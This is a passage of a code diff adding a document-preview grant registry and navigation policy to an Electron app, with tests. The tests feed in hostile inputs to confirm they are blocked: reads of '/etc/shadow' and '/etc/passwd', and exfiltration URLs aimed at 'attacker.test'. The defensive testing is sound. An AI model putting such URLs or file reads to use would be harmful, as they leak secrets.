+    authorizeDocPreviewDirectory(grant.id, 'assets/chart.js')
+
+    await expect(
+      resolveCanonicalDocPreviewPath(grant, '/srv/repo/assets/chart.js', async (path) => {
+        if (path === '/srv/repo/assets') {
+          return '/srv/repo/assets'
+        }
+        if (path === '/srv/repo/assets/chart.js') {
+          return '/etc/shadow'
+        }
+        return path
+      })
+    ).resolves.toBeNull()
+  })
+})
+
+describe('toRuntimeWorktreeRelativePath', () => {
+  it('produces a worktree-relative path for files inside the worktree', () => {
+    expect(toRuntimeWorktreeRelativePath('/srv/repo', '/srv/repo/docs/index.html')).toBe(
+      'docs/index.html'
+    )
+  })
+
+  it('rejects paths outside the worktree, which files.read cannot address', () => {
+    expect(toRuntimeWorktreeRelativePath('/srv/repo', '/tmp/agent/report.html')).toBeNull()
+    expect(toRuntimeWorktreeRelativePath('/srv/repo', '/srv/repo')).toBeNull()
+  })
+
+  it('uses Windows semantics for a Windows worktree root', () => {
+    expect(toRuntimeWorktreeRelativePath('C:\\srv\\repo', 'C:\\srv\\repo\\docs\\index.html')).toBe(
+      'docs/index.html'
+    )
+    expect(toRuntimeWorktreeRelativePath('C:\\srv\\repo', 'D:\\other\\index.html')).toBeNull()
+  })
+})
diff --git a/src/main/browser/doc-preview-grant-registry.ts b/src/main/browser/doc-preview-grant-registry.ts
new file mode 100644
index 00000000000..191b7ddeb95
--- /dev/null
+++ b/src/main/browser/doc-preview-grant-registry.ts
@@ -0,0 +1,305 @@
+import { randomBytes } from 'node:crypto'
+import { posix, win32 } from 'node:path'
+import { isWindowsAbsolutePathLike } from '../../shared/cross-platform-path'
+
+/**
+ * A preview grant is the only authority that turns an `orca-preview://` request
+ * into bytes: it names the host that owns the file and the single directory
+ * subtree requests may resolve inside. No grant, no bytes.
+ */
+export type DocPreviewOwner =
+  | { kind: 'ssh'; connectionId: string }
+  | {
+      kind: 'runtime'
+      environmentId: string
+      /** Selector the runtime resolves `files.read` against. */
+      worktreeSelector: string
+      /** Worktree root on the runtime host; `files.read` only accepts paths inside it. */
+      worktreeRoot: string
+    }
+
+export type DocPreviewGrant = {
+  id: string
+  owner: DocPreviewOwner
+  /** Directory relative preview URLs resolve against. */
+  requestBase: string
+  /**
+   * Containing directory of the opened document, on the owning host. It carries silent read
+   * authority only while it sits strictly inside `requestBase`: a document at the workspace root —
+   * or outside any workspace, where its directory IS the request base — starts with the entry file
+   * alone, because that directory is where secrets live and a DNS-prefetch beacon needs no click.
+   */
+  root: string
+  /** Additional directories the reader approved for this grant. */
+  authorizedRoots: string[]
+  /** Path of the opened document relative to `requestBase`. */
+  entryRelativePath: string
+  /**
+   * Browser page the reader opened this document in. Main registers the guest under it once the
+   * guest commits to the grant, so the surface a tool names is the page the reader is looking at
+   * and not the grant, which a re-mint replaces underneath the same page.
+   */
+  browserPageId: string
+}
+
+const grantsById = new Map<string, DocPreviewGrant>()
+
+function pathFlavorFor(root: string): typeof posix | typeof win32 {
+  return isWindowsAbsolutePathLike(root) ? win32 : posix
+}
+
+function normalizeRootPath(root: string): string {
+  const flavor = pathFlavorFor(root)
+  const normalized =
+    flavor === win32 ? flavor.normalize(root.replace(/\//g, '\\')) : flavor.normalize(root)
+  // Why: `C:\` is the whole root, and trimming its separator would make win32.join answer the
+  // drive-relative `C:x`, which resolves against the host's cwd instead of inside the grant.
+  if (flavor === win32 && /^[a-zA-Z]:\\$/.test(normalized)) {
+    return normalized
+  }
+  // Why: a trailing separator would make the containment prefix check accept a sibling directory.
+  return normalized.length > 1 && normalized.endsWith(flavor.sep)
+    ? normalized.slice(0, -1)
+    : normalized
+}
+
+export function mintDocPreviewGrant(params: {
+  owner: DocPreviewOwner
+  requestBase?: string
+  root: string
+  entryRelativePath: string
+  browserPageId: string
+}): DocPreviewGrant {
+  const requestBase = normalizeRootPath(params.requestBase ?? params.root)
+  const root = normalizeRootPath(params.root)
+  const flavor = pathFlavorFor(requestBase)
+  if (!isAtOrInsideRoot(requestBase, root, flavor)) {
+    throw new Error('Document preview root is outside its request base')
+  }
+  const grant: DocPreviewGrant = {
+    id: randomBytes(16).toString('hex'),
+    owner: params.owner,
+    requestBase,
+    root,
+    authorizedRoots: [],
+    entryRelativePath: params.entryRelativePath.replace(/\\/g, '/'),
+    browserPageId: params.browserPageId
+  }
+  grantsById.set(grant.id, grant)
+  return grant
+}
+
+export function getDocPreviewGrant(grantId: string): DocPreviewGrant | null {
+  return grantsById.get(grantId) ?? null
+}
+
+/**
+ * Why anything listens at all: a grant is the only thing that names a preview's lifetime. State
+ * elsewhere in main keyed by a preview's tool target — grab intent, a queued grab chain — has no
+ * other signal telling it the surface is gone, and would otherwise accrete one entry per grant
+ * for the life of the process.
+ */
+const revocationListeners = new Set<(grant: DocPreviewGrant) => void>()
+
+/** Why the whole grant and not its id: it is already gone from the registry when listeners run. */
+export function onDocPreviewGrantRevoked(listener: (grant: DocPreviewGrant) => void): () => void {
+  revocationListeners.add(listener)
+  return () => revocationListeners.delete(listener)
+}
+
+function notifyRevoked(grant: DocPreviewGrant): void {
+  for (const listener of revocationListeners) {
+    listener(grant)
+  }
+}
+
+export function revokeDocPreviewGrant(grantId: string): boolean {
+  canonicalRootByGrantId.delete(grantId)
+  const grant = grantsById.get(grantId)
+  if (!grant) {
+    return false
+  }
+  grantsById.delete(grantId)
+  notifyRevoked(grant)
+  return true
+}
+
+export function revokeAllDocPreviewGrants(): void {
+  canonicalRootByGrantId.clear()
+  const revoked = [...grantsById.values()]
+  grantsById.clear()
+  for (const grant of revoked) {
+    notifyRevoked(grant)
+  }
+}
+
+function hasUnsafeSegment(segments: string[]): boolean {
+  return segments.some(
+    (segment) =>
+      segment.length === 0 ||
+      segment === '.' ||
+      segment === '..' ||
+      segment.includes('\0') ||
+      segment.includes('\\')
+  )
+}
+
+/** Resolves a safe request inside the workspace boundary, before grant authorization. */
+export function resolveDocPreviewCandidatePath(
+  grant: DocPreviewGrant,
+  relativePath: string
+): string | null {
+  const segments = relativePath.split('/').filter((segment, index, all) => {
+    // Why: keep empty segments visible to the safety check except a single trailing one from `dir/`.
+    return !(segment === '' && index === all.length - 1)
+  })
+  if (segments.length === 0 || hasUnsafeSegment(segments)) {
+    return null
+  }
+  const flavor = pathFlavorFor(grant.requestBase)
+  const resolved = flavor.normalize(flavor.join(grant.requestBase, ...segments))
+  return isInsideRoot(grant.requestBase, resolved, flavor) ? resolved : null
+}
+
+function isInsideRoot(
+  root: string,
+  candidate: string,
+  flavor: typeof posix | typeof win32
+): boolean {
+  const rootPrefix = root.endsWith(flavor.sep) ? root : `${root}${flavor.sep}`
+  return candidate.startsWith(rootPrefix)
+}
+
+function isAtOrInsideRoot(
+  root: string,
+  candidate: string,
+  flavor: typeof posix | typeof win32
+): boolean {
+  return candidate === root || isInsideRoot(root, candidate, flavor)
+}
+
+function directoryAuthorityRoots(grant: DocPreviewGrant): string[] {
+  return grant.root === grant.requestBase
+    ? [...grant.authorizedRoots]
+    : [grant.root, ...grant.authorizedRoots]
+}
+
+/** The one path an entry-only grant can read before the reader approves a directory. */
+function resolveEntryAbsolutePath(grant: DocPreviewGrant): string | null {
+  return resolveDocPreviewCandidatePath(grant, grant.entryRelativePath)
+}
+
+/** Resolves a request only when it is the entry document or its directory is authorized. */
+export function resolveDocPreviewTargetPath(
+  grant: DocPreviewGrant,
+  relativePath: string
+): string | null {
+  const resolved = resolveDocPreviewCandidatePath(grant, relativePath)
+  if (!resolved) {
+    return null
+  }
+  if (resolved === resolveEntryAbsolutePath(grant)) {
+    return resolved
+  }
+  const flavor = pathFlavorFor(grant.requestBase)
+  return directoryAuthorityRoots(grant).some((root) => isInsideRoot(root, resolved, flavor))
+    ? resolved
+    : null
+}
+
+/** Expands a live grant to the directory containing one reader-approved request. */
+export function authorizeDocPreviewDirectory(grantId: string, relativePath: string): boolean {
+  const grant = grantsById.get(grantId)
+  if (!grant) {
+    return false
+  }
+  const candidate = resolveDocPreviewCandidatePath(grant, relativePath)
+  if (!candidate) {
+    return false
+  }
+  const flavor = pathFlavorFor(grant.requestBase)
+  const directory = normalizeRootPath(flavor.dirname(candidate))
+  if (!isAtOrInsideRoot(grant.requestBase, directory, flavor)) {
+    return false
+  }
+  if (!directoryAuthorityRoots(grant).some((root) => isAtOrInsideRoot(root, directory, flavor))) {
+    grant.authorizedRoots.push(directory)
+    canonicalRootByGrantId.delete(grant.id)
+  }
+  return true
+}
+
+/** Why: realpath is a host round-trip, and a grant's root is fixed for its lifetime. */
+const canonicalRootByGrantId = new Map<
+  string,
+  Promise<{ boundary: string; roots: string[]; entry: string | null }>
+>()
+
+/**
+ * Second containment pass for hosts where the lexical one is not enough: a symlink
+ * inside the root can point anywhere, and the SSH read RPC applies no root of its
+ * own. Both sides are canonicalized on the owning host before the prefix re-check;
+ * a host that cannot canonicalize a path answers nothing.
+ */
+export async function resolveCanonicalDocPreviewPath(
+  grant: DocPreviewGrant,
+  absolutePath: string,
+  realpath: (path: string) => Promise<string>
+): Promise<string | null> {
+  try {
+    let canonicalRoots = canonicalRootByGrantId.get(grant.id)
+    if (!canonicalRoots) {
+      const entryAbsolute = resolveEntryAbsolutePath(grant)
+      canonicalRoots = Promise.all([
+        realpath(grant.requestBase),
+        entryAbsolute === null ? Promise.resolve(null) : realpath(entryAbsolute),
+        ...directoryAuthorityRoots(grant).map((root) => realpath(root))
+      ]).then(([boundaryPath, entryPath, ...rootPaths]) => {
+        const boundary = normalizeRootPath(boundaryPath)
+        const flavor = pathFlavorFor(boundary)
+        return {
+          boundary,
+          roots: rootPaths
+            .map(normalizeRootPath)
+            .filter((root) => isAtOrInsideRoot(boundary, root, flavor)),
+          entry: entryPath !== null && isInsideRoot(boundary, entryPath, flavor) ? entryPath : null
+        }
+      })
+      canonicalRootByGrantId.set(grant.id, canonicalRoots)
+    }
+    const [{ boundary, roots, entry }, canonicalPath] = await Promise.all([
+      canonicalRoots,
+      realpath(absolutePath)
+    ])
+    const flavor = pathFlavorFor(boundary)
+    return isInsideRoot(boundary, canonicalPath, flavor) &&
+      (canonicalPath === entry || roots.some((root) => isInsideRoot(root, canonicalPath, flavor)))
+      ? canonicalPath
+      : null
+  } catch {
+    // Why: a root that no longer canonicalizes must not fall back to the lexical answer.
+    canonicalRootByGrantId.delete(grant.id)
+    return null
+  }
+}
+
+/**
+ * Path a runtime `files.read` can address, i.e. relative to the worktree root.
+ * Returns null when the grant root sits outside the worktree — the runtime file
+ * RPCs are worktree-scoped, so those documents are unreadable client-side.
+ */
+export function toRuntimeWorktreeRelativePath(
+  worktreeRoot: string,
+  absolutePath: string
+): string | null {
+  const flavor = pathFlavorFor(worktreeRoot)
+  const normalizedRoot = normalizeRootPath(worktreeRoot)
+  const relative = flavor.relative(normalizedRoot, absolutePath)
+  if (!relative || relative === '..' || relative.startsWith(`..${flavor.sep}`)) {
+    return null
+  }
+  if (flavor === win32 && /^[a-zA-Z]:/.test(relative)) {
+    return null
+  }
+  return relative.replace(/\\/g, '/')
+}
diff --git a/src/main/browser/doc-preview-guest-policy.test.ts b/src/main/browser/doc-preview-guest-policy.test.ts
new file mode 100644
index 00000000000..5813d60e110
--- /dev/null
+++ b/src/main/browser/doc-preview-guest-policy.test.ts
@@ -0,0 +1,552 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import {
+  getWorkspaceDocPageGuest,
+  installDocPreviewGuestPolicy,
+  readDocPreviewGuestBoundGrantId,
+  reportDocPreviewLinkClick
+} from './doc-preview-guest-policy'
+import { buildDocPreviewUrl } from '../../shared/doc-preview-scheme'
+import {
+  mintDocPreviewGrant,
+  revokeAllDocPreviewGrants,
+  revokeDocPreviewGrant
+} from './doc-preview-grant-registry'
+
+type GuestHandlers = Record<string, (...args: never[]) => void>
+
+const HOST_RENDERER_ID = 42
+
+function installOnFakeGuest(
+  hostId: number = HOST_RENDERER_ID,
+  /** What the guest is already showing when the embedder hands it over, as a real one usually is. */
+  initialUrl = ''
+): {
+  contents: object
+  handlers: GuestHandlers
+  hostId: number
+  isFocused: ReturnType<typeof vi.fn>
+  send: ReturnType<typeof vi.fn>
+  setWebRTCIPHandlingPolicy: ReturnType<typeof vi.fn>
+  windowOpenHandler: (details: { url: string }) => { action: string }
+  /** Why without the `destroyed` event: Chromium tears the contents down before main runs it. */
+  markContentsDestroyed: () => void
+} {
+  const handlers: GuestHandlers = {}
+  let contentsDestroyed = false
+  const send = vi.fn()
+  const isFocused = vi.fn(() => true)
+  const setWebRTCIPHandlingPolicy = vi.fn()
+  let windowOpenHandler: (details: { url: string }) => { action: string } = () => ({
+    action: 'deny'
+  })
+  const register = (event: string, handler: (...args: never[]) => void): void => {
+    handlers[event] = handler
+  }
+  const guest = {
+    isFocused,
+    isDestroyed: () => contentsDestroyed,
+    getURL: () => initialUrl,
+    on: vi.fn(register),
+    once: vi.fn(register),
+    setWindowOpenHandler: vi.fn((handler: (details: { url: string }) => { action: string }) => {
+      windowOpenHandler = handler
+    }),
+    setWebRTCIPHandlingPolicy
+  }
+  installDocPreviewGuestPolicy(guest as never, { id: hostId, send })
+  return {
+    contents: guest,
+    handlers,
+    hostId,
+    isFocused,
+    send,
+    setWebRTCIPHandlingPolicy,
+    windowOpenHandler: (details) => windowOpenHandler(details),
+    markContentsDestroyed: () => {
+      contentsDestroyed = true
+    }
+  }
+}
+
+type FakeGuest = ReturnType<typeof installOnFakeGuest>
+
+function startMainFrameNavigation(guest: FakeGuest, url: string): void {
+  guest.handlers['did-start-navigation']?.({ url, isMainFrame: true } as never)
+}
+
+/** A guest already showing a document, which is the only state a link can be pressed in. */
+function boundGuest(): { grant: ReturnType<typeof mintGrant>; guest: FakeGuest } {
+  const grant = mintGrant()
+  const guest = installOnFakeGuest()
+  startMainFrameNavigation(guest, buildDocPreviewUrl(grant.id, 'index.html'))
+  return { grant, guest }
+}
+
+function reportClick(guest: FakeGuest, url: string): void {
+  reportDocPreviewLinkClick(guest.contents as never, url)
+}
+
+// Why a fresh page per grant: the registry is keyed by the page now, so two grants sharing one
+// would have the second silently replace the first rather than stand beside it.
+let nextDocPageOrdinal = 0
+
+function mintGrant(): ReturnType<typeof mintDocPreviewGrant> {
+  nextDocPageOrdinal += 1
+  return mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId: `doc-page-${nextDocPageOrdinal}`
+  })
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  revokeAllDocPreviewGrants()
+})
+
+describe('doc preview guest policy', () => {
+  it('allows relative navigation within the bound grant', () => {
+    const { grant, guest } = boundGuest()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-navigate']?.(
+      { preventDefault } as never,
+      buildDocPreviewUrl(grant.id, 'guide.html') as never
+    )
+
+    expect(preventDefault).not.toHaveBeenCalled()
+    expect(guest.send).not.toHaveBeenCalled()
+  })
+
+  // Why an unlatched guest is refused rather than trusted: the renderer-set src is
+  // browser-initiated and never reaches will-navigate, so a navigation arriving before the latch is
+  // one the guest started for itself.
+  it('blocks a navigation the guest starts before a document has bound it', () => {
+    const grant = mintGrant()
+    const guest = installOnFakeGuest()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-navigate']?.(
+      { preventDefault } as never,
+      buildDocPreviewUrl(grant.id, 'index.html') as never
+    )
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+    expect(guest.send).not.toHaveBeenCalled()
+  })
+
+  it('blocks navigation into a different live grant once bound', () => {
+    const { guest } = boundGuest()
+    const otherGrant = mintGrant()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-navigate']?.(
+      { preventDefault } as never,
+      buildDocPreviewUrl(otherGrant.id, 'index.html') as never
+    )
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('blocks a revoked grant even when it matches the bound id', () => {
+    const { grant, guest } = boundGuest()
+    revokeAllDocPreviewGrants()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-navigate']?.(
+      { preventDefault } as never,
+      buildDocPreviewUrl(grant.id, 'guide.html') as never
+    )
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('blocks an external navigation without offering it to the renderer', () => {
+    const { guest } = boundGuest()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-navigate']?.({ preventDefault } as never, 'https://example.com/' as never)
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+    expect(guest.send).not.toHaveBeenCalled()
+  })
+
+  it('blocks a file: navigation', () => {
+    const { guest } = boundGuest()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-navigate']?.({ preventDefault } as never, 'file:///etc/passwd' as never)
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+    expect(guest.send).not.toHaveBeenCalled()
+  })
+
+  it('applies the same rule to redirects', () => {
+    const { guest } = boundGuest()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-redirect']?.({ preventDefault } as never, 'https://evil.test/' as never)
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+    expect(guest.send).not.toHaveBeenCalled()
+  })
+
+  it('denies every popup and routes none of them', () => {
+    const { guest } = boundGuest()
+
+    expect(guest.windowOpenHandler({ url: 'https://example.com/docs' })).toEqual({
+      action: 'deny'
+    })
+    expect(guest.windowOpenHandler({ url: 'file:///etc/passwd' })).toEqual({ action: 'deny' })
+    expect(guest.send).not.toHaveBeenCalled()
+  })
+
+  // Why: will-navigate never fires for a subframe, so an <iframe src="https://…"> would load
+  // off-machine even though the top frame cannot.
+  it('blocks a subframe navigating outside the grant, without opening a tab for it', () => {
+    const { guest } = boundGuest()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-frame-navigate']?.({
+      preventDefault,
+      url: 'https://tracker.test/pixel',
+      isMainFrame: false
+    } as never)
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+    expect(guest.send).not.toHaveBeenCalled()
+  })
+
+  it('lets a subframe load an in-grant asset', () => {
+    const { grant, guest } = boundGuest()
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-frame-navigate']?.({
+      preventDefault,
+      url: buildDocPreviewUrl(grant.id, 'chart.html'),
+      isMainFrame: false
+    } as never)
+
+    expect(preventDefault).not.toHaveBeenCalled()
+  })
+
+  // Why this group exists: the external-link route ends in a real browser tab with full network, so
+  // a document that can read its grant and reach that route can exfiltrate it. Only a reader's own
+  // press on a link may, and only the guest's preload can tell that a press was one.
+  describe('the trusted-click route out of the preview', () => {
+    // The headline. The earlier design read a recent-input timestamp, so a script that navigated
+    // shortly after any genuine press was routed out as if the press had asked for it. Here the
+    // navigation sinks route nothing at all, so when the input happened cannot matter.
+    it('routes nothing for a scripted location change or window.open, whenever input happened', () => {
+      const { guest } = boundGuest()
+      const preventDefault = vi.fn()
+
+      // Genuine input the guest would report, delivered immediately before the document acts.
+      guest.handlers['input-event']?.({} as never, { type: 'mouseDown' } as never)
+      guest.handlers['before-input-event']?.({} as never, { type: 'keyDown' } as never)
+      guest.handlers['will-navigate']?.(
+        { preventDefault } as never,
+        'https://attacker.test/?d=secret' as never
+      )
+      const popup = guest.windowOpenHandler({ url: 'https://attacker.test/?d=secret' })
+
+      expect(preventDefault).toHaveBeenCalledOnce()
+      expect(popup).toEqual({ action: 'deny' })
+      expect(guest.send).not.toHaveBeenCalled()
+      // Why assert the absence of the listeners too: with them gone there is no timing a document
+      // could hit, rather than a window it merely failed to hit in this test.
+      expect(guest.handlers['input-event']).toBeUndefined()
+      expect(guest.handlers['before-input-event']).toBeUndefined()
+    })
+
+    it('routes a reported click on an external link exactly once', () => {
+      const { guest } = boundGuest()
+
+      reportClick(guest, 'https://example.com/docs')
+
+      expect(guest.send).toHaveBeenCalledExactlyOnceWith('docPreview:externalLink', {
+        url: 'https://example.com/docs'
+      })
+    })
+
+    it("does not mistake Electron's false webview focus flag for an untrusted click", () => {
+      const { guest } = boundGuest()
+      guest.isFocused.mockReturnValue(false)
+
+      reportClick(guest, 'https://example.com/docs')
+
+      expect(guest.send).toHaveBeenCalledExactlyOnceWith('docPreview:externalLink', {
+        url: 'https://example.com/docs'
+      })
+    })
+
+    it('drops a click reported by a sender that is not a preview guest', () => {
+      const { guest } = boundGuest()
+
+      reportDocPreviewLinkClick({ isFocused: () => true } as never, 'https://example.com/docs')
+
+      expect(guest.send).not.toHaveBeenCalled()
+    })
+
+    it('drops a click reported by a guest that never bound a grant', () => {
+      mintGrant()
+      const guest = installOnFakeGuest()
+
+      reportClick(guest, 'https://example.com/docs')
+
+      expect(guest.send).not.toHaveBeenCalled()
+    })
+
+    it("drops a click once the guest's bound grant is revoked", () => {
+      const { guest } = boundGuest()
+      revokeAllDocPreviewGrants()
+
+      reportClick(guest, 'https://example.com/docs')
+
+      expect(guest.send).not.toHaveBeenCalled()
+    })
+
+    it.each([
+      'file:///etc/passwd',
+      'javascript:fetch("https://attacker.test")',
+      'orca-preview://a/b',
+      '/Users/alice/secrets.txt',
+      ''
+    ])('drops a reported click on %s, which is not the web', (url) => {
+      const { guest } = boundGuest()
+
+      reportClick(guest, url)
+
+      expect(guest.send).not.toHaveBeenCalled()
+    })
+
+    it('stops routing for a guest that has been destroyed', () => {
+      const { guest } = boundGuest()
+
+      guest.handlers['destroyed']?.()
+      reportClick(guest, 'https://example.com/docs')
+
+      expect(guest.send).not.toHaveBeenCalled()
+    })
+  })
+
+  // Why: a peer connection is UDP straight off the network stack — the response CSP and the
+  // session's request filter both miss it, so this is the only place it can be refused.
+  it('denies the guest non-proxied WebRTC UDP at attach', () => {
+    const guest = installOnFakeGuest()
+
+    expect(guest.setWebRTCIPHandlingPolicy).toHaveBeenCalledWith('disable_non_proxied_udp')
+  })
+
+  // Why: latching from a subframe would let an in-document iframe decide which grant the guest
+  // belongs to, and every later main-frame check would be measured against that.
+  it('binds the guest from the main frame only', () => {
+    const grant = mintGrant()
+    const otherGrant = mintGrant()
+    const guest = installOnFakeGuest()
+
+    guest.handlers['did-start-navigation']?.({
+      url: buildDocPreviewUrl(otherGrant.id, 'index.html'),
+      isMainFrame: false
+    } as never)
+    startMainFrameNavigation(guest, buildDocPreviewUrl(grant.id, 'index.html'))
+    const preventDefault = vi.fn()
+
+    guest.handlers['will-navigate']?.(
+      { preventDefault } as never,
+      buildDocPreviewUrl(otherGrant.id, 'index.html') as never
+    )
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  describe('tool authorization', () => {
+    it('answers the hosting renderer for a guest bound to a live grant', () => {
+      const { grant, guest } = boundGuest()
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBe(guest.contents)
+    })
+
+    it('refuses a renderer that does not host the preview', () => {
+      const { grant } = boundGuest()
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID + 1)).toBeNull()
+    })
+
+    // Why this is the ordinary case and not an edge one: the embedder hands the guest over after
+    // it has already started loading its src, so the navigation that binds most previews to their
+    // grant happens before any listener here exists. Missing it leaves the tools unable to name
+    // the guest for as long as the reader stays on the page they opened.
+    it('binds a guest that is already showing its document when the policy installs', () => {
+      const grant = mintGrant()
+      const guest = installOnFakeGuest(HOST_RENDERER_ID, buildDocPreviewUrl(grant.id, 'index.html'))
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBe(guest.contents)
+    })
+
+    // The same miss, one event later: the load started before the listener and commits after it.
+    it('binds a guest whose first navigation only reaches the commit', () => {
+      const grant = mintGrant()
+      const guest = installOnFakeGuest()
+
+      guest.handlers['did-navigate']?.(
+        {} as never,
+        buildDocPreviewUrl(grant.id, 'index.html') as never
+      )
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBe(guest.contents)
+    })
+
+    // Why: the src commit is what proves this guest is showing that grant. Before it, the id names
+    // a document nothing has been asked to render.
+    it('refuses a guest that has not committed a document yet', () => {
+      const grant = mintGrant()
+      installOnFakeGuest()
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBeNull()
+    })
+
+    // Why: revoking is how a closed tab withdraws its preview, and it happens while the guest is
+    // still being torn down — a tool must stop answering at revoke, not at destroy.
+    it('stops answering once the grant is revoked', () => {
+      const { grant } = boundGuest()
+
+      revokeDocPreviewGrant(grant.id)
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBeNull()
+    })
+
+    it('drops the guest when it is destroyed', () => {
+      const { grant, guest } = boundGuest()
+
+      guest.handlers['destroyed']?.()
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBeNull()
+    })
+
+    // Why this is separate from the destroy event: the contents die before main runs that listener,
+    // so in that window the registration still looks live and only this check refuses it.
+    it('refuses a guest whose contents died before the destroy event arrived', () => {
+      const { grant, guest } = boundGuest()
+
+      guest.markContentsDestroyed()
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBeNull()
+    })
+
+    it('answers nothing for a grant no preview ever rendered', () => {
+      const grant = mintGrant()
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBeNull()
+    })
+
+    // Why this is what makes three latch call sites safe: install, did-start-navigation and
+    // did-navigate all feed the same latch, so without the no-rebind guard the second and third
+    // would let a later navigation move a bound guest onto another grant — and a tool asking for
+    // that grant would be handed a guest showing someone else's document.
+    it('never rebinds a bound guest onto a second grant', () => {
+      const { grant, guest } = boundGuest()
+      const other = mintGrant()
+
+      startMainFrameNavigation(guest, buildDocPreviewUrl(other.id, 'index.html'))
+      guest.handlers['did-navigate']?.(
+        {} as never,
+        buildDocPreviewUrl(other.id, 'index.html') as never
+      )
+
+      expect(getWorkspaceDocPageGuest(other.browserPageId, HOST_RENDERER_ID)).toBeNull()
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBe(guest.contents)
+    })
+
+    // Why the replacement is registered before the old guest's teardown runs: a re-mint attaches
+    // the new guest first, and Chromium runs the outgoing guest's destroyed listener afterwards. A
+    // teardown that deleted by page alone would unregister the guest the reader is now looking at.
+    it('leaves a re-minted preview registered when the guest it replaced tears down', () => {
+      const first = mintGrant()
+      const outgoing = installOnFakeGuest(
+        HOST_RENDERER_ID,
+        buildDocPreviewUrl(first.id, 'index.html')
+      )
+      const remint = mintDocPreviewGrant({
+        owner: { kind: 'ssh', connectionId: 'ssh-1' },
+        root: '/home/alice/docs',
+        entryRelativePath: 'index.html',
+        browserPageId: first.browserPageId
+      })
+      const incoming = installOnFakeGuest(
+        HOST_RENDERER_ID,
+        buildDocPreviewUrl(remint.id, 'index.html')
+      )
+      expect(getWorkspaceDocPageGuest(first.browserPageId, HOST_RENDERER_ID)).toBe(
+        incoming.contents
+      )
+
+      outgoing.handlers['destroyed']?.()
+
+      expect(getWorkspaceDocPageGuest(first.browserPageId, HOST_RENDERER_ID)).toBe(
+        incoming.contents
+      )
+    })
+
+    // Why the grant has to be live at the latch and not only at each later request: registering the
+    // page a dead grant names would put a guest that can read nothing into the registry the tool
+    // door answers from, under a page a live grant may later want.
+    it('registers nothing for a guest showing a grant that is already revoked', () => {
+      const grant = mintGrant()
+      revokeDocPreviewGrant(grant.id)
+
+      const guest = installOnFakeGuest(HOST_RENDERER_ID, buildDocPreviewUrl(grant.id, 'index.html'))
+
+      expect(getWorkspaceDocPageGuest(grant.browserPageId, HOST_RENDERER_ID)).toBeNull()
+      // The presence half: the same install does register when the grant is still live.
+      const live = mintGrant()
+      installOnFakeGuest(HOST_RENDERER_ID, buildDocPreviewUrl(live.id, 'index.html'))
+      expect(getWorkspaceDocPageGuest(live.browserPageId, HOST_RENDERER_ID)).not.toBeNull()
+      expect(guest.contents).toBeDefined()
+    })
+
+    // Why both directions: two previews open at once must not be able to drive each other's guest.
+    it('keeps two live previews on their own guests', () => {
+      const first = boundGuest()
+      const second = boundGuest()
+
+      expect(getWorkspaceDocPageGuest(first.grant.browserPageId, HOST_RENDERER_ID)).toBe(
+        first.guest.contents
+      )
+      expect(getWorkspaceDocPageGuest(second.grant.browserPageId, HOST_RENDERER_ID)).toBe(
+        second.guest.contents
+      )
+    })
+  })
+
+  // Session events name the contents and nothing else, so this is how a fence firing on the whole
+  // partition works out which preview — if any — the reader should be told about.
+  describe('naming the grant a contents is showing', () => {
+    it('answers the bound grant for a live preview guest', () => {
+      const { grant, guest } = boundGuest()
+
+      expect(readDocPreviewGuestBoundGrantId(guest.contents as never)).toBe(grant.id)
+    })
+
+    it('answers nothing for a contents that is not a preview guest', () => {
+      boundGuest()
+
+      expect(readDocPreviewGuestBoundGrantId({} as never)).toBeNull()
+    })
+
+    it('answers nothing for a preview guest that has committed no document', () => {
+      const guest = installOnFakeGuest()
+
+      expect(readDocPreviewGuestBoundGrantId(guest.contents as never)).toBeNull()
+    })
+
+    it('answers nothing once the guest is gone', () => {
+      const { guest } = boundGuest()
+
+      guest.handlers['destroyed']?.()
+
+      expect(readDocPreviewGuestBoundGrantId(guest.contents as never)).toBeNull()
+    })
+  })
+})
diff --git a/src/main/browser/doc-preview-guest-policy.ts b/src/main/browser/doc-preview-guest-policy.ts
new file mode 100644
index 00000000000..a869cab3641
--- /dev/null
+++ b/src/main/browser/doc-preview-guest-policy.ts
@@ -0,0 +1,240 @@
+import {
+  DOC_PREVIEW_EXTERNAL_LINK_CHANNEL,
+  parseDocPreviewUrl
+} from '../../shared/doc-preview-scheme'
+import { normalizeExternalBrowserUrl } from '../../shared/browser-url'
+import { enforceBrowserRouteWebRtcPolicy } from './browser-route-webrtc-policy'
+import { getDocPreviewGrant } from './doc-preview-grant-registry'
+
